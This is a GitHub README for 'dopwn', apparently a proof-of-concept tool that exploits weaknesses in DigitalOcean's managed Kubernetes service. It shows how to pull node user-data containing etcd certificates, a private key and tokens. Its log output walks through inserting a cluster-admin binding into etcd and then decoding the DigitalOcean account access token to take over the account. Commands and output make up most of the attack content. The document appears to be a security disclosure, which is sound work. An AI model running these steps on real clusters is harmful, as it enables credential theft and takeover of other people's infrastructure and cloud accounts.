Skip to content
Tool to automate takeover of DigitalOcean Kubernetes cluster. Check out the blog post for more info.
Branch: master
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Type Name Latest commit message Commit time
Failed to load latest commit information.

DigitalOcean Pwner

This is a proof-of-concept tool to exploit a combination of weaknesses in the new Kubernetes managed service from DigitalOcean.


This tool is going to write arbitrary objects into your Kubernetes cluster's etcd backend. It should be ok but there's every chance something could go wrong so be prepared for that. If you break something it's absolutely not my fault, this code is provided as-is and without warranty.

If something breaks, raise an issue and I'll see if I can fix the code to prevent future similar events.


Download the binary release from the Releases tab above.


You need the output of the DigitalOcean user-data in a file. There's a number of ways you could get this, if you have access to a pod you can use cURL:

~ $ curl -qs
k8saas_role: kubelet
k8saas_master_domain_name: ""
k8saas_bootstrap_token: "4b7ae52cd675200f0955f69163d4c13c72a3b4e6ed6fcfb84bcf34add6dfc865"
k8saas_proxy_token: "6cb9b9da7256fc4f4759847d73e1dec2a47807c8ed6287c0986038d415c981fb"
k8saas_ca_cert: "-----BEGIN CERTIFICATE-----\nMIIDJzCCAg+gAwIBAgICBnUwDQYJKoZIhvcNAQELBQAwMzEVMBMGA1UEChMMRGln\naXRhbE9jZWFuMRowGAYDVQQDExFrOHNhYXMgQ2x1c3RlciBDQTAeFw0xODEyMjAx\nMDA2MjVaFw0zODEyMjAxMDA2MjVaMDMxFTATBgNVBAoTDERpZ2l0YWxPY2VhbjEa\nMBgGA1UEAxMRazhzYWFzIENsdXN0ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUA[..]JO235eM7L\ne9ywg0QelxRTUjChNqC2QkE9H8YbqO5UmAma+ZxG0G71LOFU6nzardgNrOAd0VX9\nssOBlUJcyFBni9dE4wwNGMgg4ZJ8hZnqNGq9aKO5YxYexpRGvjs02XEqLQT6MhpC\nNOAS44LZ7QwHe37SoeIhq5mnFnaXYHobAjjKhprgTZS/oH80y9O9wOWqaVMiAGAD\ngm/xdELUeqItctGi9bsELWGzEAEj++90ysSTBSn3aEUnk1HCooEq5agvog==\n-----END CERTIFICATE-----\n"
k8saas_etcd_ca: "-----BEGIN CERTIFICATE-----\nMIIDJzCCAg+gAwIBAgICBnUwDQYJKoZIhvcNAQELBQAwMzEVMBMGA1UEChMMRGln[..]lsczwKsQs1BAMDfYZGQ/KwO8RNxZ4Ll0H83/cLsEq5VE\nLOqJzev29a/Gd2cGShpMjWVVT6GruFZ4hgdGncA2WIEvAWiSKc+0CcrM2SYnGgzs\nOEpx1uudl7YvXNYgn4IxvHab2UVWlm60dI3tKL5CtY5fZS47iWL4kuoP3HlQtm8n\n/9ks1nkcQlXJo41ENCISrt04wZdMxyRtUaDjewJvebkvCjtwr0m0T9kHJw==\n-----END CERTIFICATE-----\n"
k8saas_etcd_key: "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEAuWXwbSO8Y9QtPxndGZUD5QHgLX5SnTz/9dKRcKhdHPvPDMkc\nK5kXKtWFmrK/4KunjLj9fX8s36sB0qe4dJrjPlVEZMOtfZUwlc+jLYSjxyYKtdmS\nA7wLxxV+beflo8x37A/0jyFl57efzmmNZ7T01TG4drt4eysr[..]n0YAe5xWaWOZ7e1xE4DqUbULeybNeBdLm/SJ+22dlmCgsphKeolzjWFeLKfg67Diw\n914gAC0CgYAP88QdhsOpW+Nzz5ddwjCK/o8cL7/nnORhf9TI7sPlYwNca3AEgR0w\n7jqbSvHJt8AIY4NSQaokB1yvealnaW1uTak6Ak0ote6TsO1xH+dRHH1eqVm55GtX\nKKkpKZcj6lFBLQ3ab5GxJA00D4yNinkDnxMC6tivdW2ZJgE1HAs/3A==\n-----END RSA PRIVATE KEY-----\n"
k8saas_overlay_subnet: ""
k8saas_dns_service_ip: ""

Save this output to a file on your local machine, either by copy/paste or output from kubectl cp/exec, etc.

In this example, I'll put it in a file called user-data.txt. Now run dopwn exploit with the -f parameter specifying the location of the user-data.txt file.

$ dopwn exploit -f user-data.txt
2018-12-20T10:29:56Z [ℹ]  read metadata from file: user-data.txt
2018-12-20T10:29:56Z [ℹ]  parsing metadata to get etcd creds
2018-12-20T10:29:56Z [ℹ]  writing etcd ca to file: etcd-ca.crt
2018-12-20T10:29:56Z [ℹ]  writing etcd cert to file: etcd.crt
2018-12-20T10:29:56Z [ℹ]  writing etcd key to file: etcd.key
2018-12-20T10:29:56Z [ℹ]  fetching kube-system default service account token from etcd at
2018-12-20T10:29:58Z [ℹ]  decoding serviceAccount
2018-12-20T10:29:58Z [ℹ]  fetching serviceAccountToken secret
2018-12-20T10:29:58Z [ℹ]  decoding secret
2018-12-20T10:29:58Z [ℹ]  writing API server CA cert file to ca.crt
2018-12-20T10:29:58Z [ℹ]  generating kubeconfig
2018-12-20T10:29:58Z [ℹ]  wrote kubeconfig
2018-12-20T10:29:58Z [ℹ]  generating clusterrolebinding
2018-12-20T10:29:58Z [ℹ]  encoding clusterrolebinding
2018-12-20T10:29:58Z [ℹ]  inserting clusterrolebinding into etcd......wish me luck......
2018-12-20T10:29:58Z [ℹ]  o_O
2018-12-20T10:29:58Z [ℹ]  You are now cluster-admin using the token in kubeconfig
2018-12-20T10:29:58Z [ℹ]  For an added bonus, grab the digitalocean secret and take over the DO account too:
2018-12-20T10:29:58Z [ℹ]  kubectl --kubeconfig=kubeconfig -n kube-system get secret digitalocean -o jsonpath='{.data.access-token}' | base64 --decode

That's it, you're done. You should now have a file called kubeconfig in the same directory which you can use to access the cluster.

$ kubectl --kubeconfig=kubeconfig auth can-i get secrets


This is frankly pretty fugly code. I'm not particularly proud of it. I don't think it's very idiomatic, it's got a big monolithic func call and at the moment there's an unnecessary subcommand. But it works. And I'm hoping the weaknesses won't be around long enough to justify the refactoring. If you want to tidy it up I would love the input though. Just submit a PR.

You can’t perform that action at this time.